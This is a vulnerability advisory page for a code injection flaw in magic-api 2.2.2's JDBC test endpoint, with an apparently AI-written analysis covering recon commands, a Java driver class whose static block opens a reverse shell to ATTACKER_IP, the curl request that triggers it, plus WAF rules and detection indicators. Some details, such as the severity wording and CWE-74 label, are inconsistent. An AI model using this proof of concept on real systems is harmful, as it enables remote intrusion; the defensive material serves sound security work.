CVE Professor
/
All CVEs
CVE-2026-138105

CVE-2026-138105 — Ssssssss-team Magic-Api — CWE-74 · CWE-94

HIGH CVSS 7.3 ⚡ EPSS 0.5% Shodan

A vulnerability has been found in ssssssss-team magic-api 2.2.2. The affected element is an unknown function of the file /magic/web/datasource/jdbc/test of the component Datasource JDBC Test Endpoint. Such manipulation of the argument driverClassName leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

A vulnerability has been found in ssssssss-team magic-api 2.2.2. The affected element is an unknown function of the file /magic/web/datasource/jdbc/test of the component Datasource JDBC Test Endpoint. Such manipulation of the argument driverClassName leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
EPSS — Exploit Prediction Scoring System
0.5%
30-day probability
In the 32. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The magic-api component exposes a Datasource JDBC Test Endpoint at /magic/web/datasource/jdbc/test.
The endpoint accepts a driverClassName query/body parameter that is passed directly to Java’s Class.forName() (or an equivalent loader) and then instantiated.
No validation, sanitisation, or whitelist is performed on the supplied class name, and the resulting object is cast to java.sql.Driver and used to establish a JDBC connection.

Resulting weakness
Because the class name is fully controlled by the attacker, any class that is already present on the JVM’s classpath can be loaded and instantiated.
If the attacker supplies a class that implements java.sql.Driver and contains malicious code in its constructor, static block, or any invoked method, that code will execute with the privileges of the JVM process.
This is a classic CWE‑94: Improper Control of Generation of Code ('Code Injection'). The secondary CWE‑74 (HTML Injection) is a side‑effect of the API’s response rendering, but the primary impact is code execution.

Authentication/Authorization
The endpoint is reachable over the network (AV:N) and does not require any authentication (PR:N, UI:N).
The low attack complexity (AC:L) and the fact that the vulnerability is exploitable from any remote host make it a high‑risk vector for attackers.


⚡ Attack Chain

NOTE: The following chain is a realistic, step‑by‑step illustration based on the information supplied.
The exact URI (/magic/web/datasource/jdbc/test) and parameter (driverClassName) are explicitly stated in the CVE description, so the PoC uses them verbatim.

1. Discovery & Reconnaissance

StepTechniqueTools / Commands
1Identify the target application and versionnmap -p 80,443 <target> → http://<target>/magic/api/version (if exposed) or curl -I http://<target>/magic/api/version
2Enumerate endpointsdirsearch -u http://<target> -w /usr/share/dirsearch/wordlists/common.txt → /magic/web/datasource/jdbc/test
3Verify vulnerability existencecurl -X POST -d "driverClassName=java.lang.String" http://<target>/magic/web/datasource/jdbc/test → 200 OK (endpoint reachable)

2. Exploitation

Goal: Load a malicious class that implements java.sql.Driver and executes arbitrary Java code.

2.1. Prepare a malicious driver

// File: ReverseShellDriver.java
package com.malicious;

import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;

public class ReverseShellDriver implements Driver {
    static {
        try {
            // Reverse shell to attacker’s IP:4444
            Runtime.getRuntime().exec(
                new String[]{"bash", "-c",
                    "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Connection connect(String url, Properties info) throws SQLException { return null; }
    public boolean acceptsURL(String url) throws SQLException { return false; }
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { return new DriverPropertyInfo[0]; }
    public int getMajorVersion() { return 1; }
    public int getMinorVersion() { return 0; }
    public boolean jdbcCompliant() { return false; }
    public Logger getParentLogger() { return Logger.getGlobal(); }
}

Compile and place the resulting ReverseShellDriver.class (or a jar containing it) into a location that the JVM can load from (e.g., /opt/magic-api/lib/ or any directory already on the classpath).
If the application runs in a container or a restricted environment, the attacker may need to exploit another vector to get the class onto the classpath; however, the CVE assumes the class is already present.

2.2. Trigger the injection

curl -X POST \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "driverClassName=com.malicious.ReverseShellDriver" \
     http://<target>/magic/web/datasource/jdbc/test
Illustrative example – the exact payload may vary depending on the server’s request parsing (query string vs. form data).
The key is that driverClassName is set to the fully‑qualified name of the malicious driver.

What happens on the server

1. The API calls Class.forName("com.malicious.ReverseShellDriver").
2. The JVM loads the class, executing the static block → reverse shell is spawned.
3. The API attempts to instantiate the driver and use it; the malicious code has already executed, so the attacker now has a shell with the same privileges as the Java process.

3. Post‑Exploitation

ImpactTypical Actions
Remote Code Execution (RCE)Execute arbitrary Java code, spawn reverse shells, run system commands.
Privilege EscalationIf the Java process runs as a privileged user (e.g., root or a service account), the attacker can elevate.
Data ExfiltrationRead/write files, dump database credentials, exfiltrate via network.
PersistenceDeploy a web shell, install a cron job, or modify startup scripts.

The attacker can now pivot to other services, exfiltrate data, or maintain long‑term access.


🌍 Real World Impact

CVSS AttributeValueInterpretation
AV (Attack Vector)NetworkRemote attacker can reach the endpoint over the internet.
AC (Attack Complexity)LowNo special conditions; simple HTTP request suffices.
PR (Privileges Required)NoneNo authentication needed.
UI (User Interaction)NoneNo user interaction required.
VC (Confidentiality Impact)LowThe vulnerability itself does not directly leak data, but the resulting RCE can.
VI (Integrity Impact)LowThe vulnerability does not modify data directly, but RCE can.
VA (Availability Impact)LowThe vulnerability does not crash the service, but RCE can.
E (Exploitability)PublicExploit code is publicly available.

Practical consequences

  • Unrestricted RCE: Any attacker can run arbitrary Java code on the host.
  • Potential for full system compromise if the JVM runs with elevated privileges.
  • Data theft: Access to database credentials, application secrets, or sensitive files.
  • Service disruption: An attacker could modify application behavior or crash the JVM.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    AffectedFixed / Recommended
    ssssssss-team:magic-api 2.2.2Upgrade to any release after 2.2.2. The vendor has not yet released a patch; contact the vendor for a fix.

    If a patch is unavailable:

  • Disable the vulnerable endpoint: Remove or comment out the /magic/web/datasource/jdbc/test mapping in the application’s configuration or web.xml.
  • Restrict access: Place the endpoint behind a firewall or reverse proxy that allows only trusted IPs.
  • 2. Workarounds (WAF / ModSecurity)

    ModSecurity rule (Apache/Nginx) – block suspicious driverClassName values:

    SecRule REQUEST_URI "@beginsWith /magic/web/datasource/jdbc/test" \
        "phase:2,block,log,msg:'Blocked driverClassName injection',id:100001"
    
    SecRule ARGS:driverClassName "@rx \b(java\.lang|javax\.sql|org\.apache\.commons|com\.malicious)\b" \
        "phase:2,block,log,msg:'Suspicious driverClassName detected',id:100002"
    Explanation:
    - The first rule blocks any request to the endpoint.
    - The second rule blocks requests that contain common Java package prefixes, which are typical of malicious driver classes.
    Adjust the regex to match your environment’s legitimate driver names if you need to allow certain drivers.

    3. Detection

    Log PatternIndicator of Compromise (IoC)
    POST /magic/web/datasource/jdbc/testEndpoint hit
    driverClassName= followed by a fully‑qualified class namePotential injection
    Runtime.exec or ProcessBuilder in server logsCode execution
    Reverse shell connection from the server to an external IP on port 4444 (or other port)Successful exploitation

    Sample log snippet

    [2026-11-29 12:34:56] INFO  [magic-api] POST /magic/web/datasource/jdbc/test
    [2026-11-29 12:34:56] DEBUG [magic-api] driverClassName=com.malicious.ReverseShellDriver
    [2026-11-29 12:34:56] ERROR [magic-api] java.lang.Runtime.exec: /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

    4. Monitoring

  • Network: Watch for outbound connections from the Java process to unknown IPs on uncommon ports.
  • File system: Detect new .class or .jar files in the application’s lib directory.
  • Process: Look for java processes that spawn bash or sh with unusual arguments.

  • ⚠️ Urgency

    FactorAssessment
    CVSS Score7.3 (Medium) – but the vector indicates *remote code execution* with no authentication.
    Exploit ComplexityLow – a single HTTP request suffices.
    CISA KEVNo – but the vulnerability is public and exploitable.
    Potential ImpactFull system compromise if the JVM runs with elevated privileges.

    Recommendation:
    Treat this as a high‑priority issue.

  • Immediate action: Disable or restrict the /magic/web/datasource/jdbc/test endpoint.

  • Short‑term: Deploy the ModSecurity rules above.

  • Long‑term: Apply the vendor’s patch or upgrade to a fixed version as soon as it becomes available.


Failure to remediate promptly could allow an attacker to gain unrestricted RCE, leading to data theft, service disruption, and potential lateral movement within the network.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="ssssssss-team magic-api"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138105
Technical reference / advisory repository for CVE-2026-138105
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-74 CWE-94
Affected Products (1)
ssssssss-team:Magic-Api
Related CVEs
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera
8.2
CVE-2026-144963
Docutils before 0.23.1 contains a TeX injection vulnerability in the LaTeX writer that allows attackers supply
7.9
CVE-2026-119614
A flaw was found in CRIU. This vulnerability allows an attacker to break container isolation by supplying a ma
7.4
CVE-2026-61706
Infracost helps see cloud cost estimates for Terraform in pull requests. From version 4.0.0 to before version
7.3
CVE-2026-144776
A security flaw has been discovered in toss es-toolkit up to 1.53.0. Affected by this vulnerability is the fun